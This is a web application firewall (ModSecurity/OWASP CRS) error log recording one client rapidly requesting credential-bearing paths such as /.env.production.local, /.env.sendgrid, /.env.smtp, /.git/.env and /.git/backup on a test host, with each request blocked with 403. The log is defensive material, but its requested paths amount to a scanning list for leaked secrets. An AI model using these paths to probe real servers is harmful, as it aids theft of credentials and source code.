[Sun Mar 22 01:06:09.162551 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6gAAAAg&quot;]
[Sun Mar 22 01:06:09.162693 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6gAAAAg&quot;]
[Sun Mar 22 01:06:09.185989 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6wAAAAg&quot;]
[Sun Mar 22 01:06:09.186198 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6wAAAAg&quot;]
[Sun Mar 22 01:06:09.186373 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production.local&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME6wAAAAg&quot;]
[Sun Mar 22 01:06:09.209015 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7AAAAAg&quot;]
[Sun Mar 22 01:06:09.209204 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7AAAAAg&quot;]
[Sun Mar 22 01:06:09.209364 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7AAAAAg&quot;]
[Sun Mar 22 01:06:09.231857 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.sendgrid&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7QAAAAg&quot;]
[Sun Mar 22 01:06:09.232061 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7QAAAAg&quot;]
[Sun Mar 22 01:06:09.232221 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.sendgrid&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7QAAAAg&quot;]
[Sun Mar 22 01:06:09.254448 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7gAAAAg&quot;]
[Sun Mar 22 01:06:09.254644 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7gAAAAg&quot;]
[Sun Mar 22 01:06:09.254782 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.smtp&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7gAAAAg&quot;]
[Sun Mar 22 01:06:09.276900 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.stage&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7wAAAAg&quot;]
[Sun Mar 22 01:06:09.277117 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7wAAAAg&quot;]
[Sun Mar 22 01:06:09.277268 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.stage&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME7wAAAAg&quot;]
[Sun Mar 22 01:06:09.299462 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8AAAAAg&quot;]
[Sun Mar 22 01:06:09.299657 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8AAAAAg&quot;]
[Sun Mar 22 01:06:09.299803 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging.json&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8AAAAAg&quot;]
[Sun Mar 22 01:06:09.321877 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.zip&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.zip&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8QAAAAg&quot;]
[Sun Mar 22 01:06:09.322215 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.zip&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8QAAAAg&quot;]
[Sun Mar 22 01:06:09.322376 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.zip&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8QAAAAg&quot;]
[Sun Mar 22 01:06:09.344615 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8gAAAAg&quot;]
[Sun Mar 22 01:06:09.344812 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8gAAAAg&quot;]
[Sun Mar 22 01:06:09.344945 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_sample&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8gAAAAg&quot;]
[Sun Mar 22 01:06:09.366968 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8wAAAAg&quot;]
[Sun Mar 22 01:06:09.367164 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8wAAAAg&quot;]
[Sun Mar 22 01:06:09.367301 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env~&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME8wAAAAg&quot;]
[Sun Mar 22 01:06:09.412447 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/.env&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9QAAAAg&quot;]
[Sun Mar 22 01:06:09.412637 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/.env&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9QAAAAg&quot;]
[Sun Mar 22 01:06:09.412767 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/.env&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9QAAAAg&quot;]
[Sun Mar 22 01:06:09.434866 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/backup&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/backup&quot;] [unique_id &quot;ab8ycbvc1sKRk16HHKME9gAAAAg&quot;]
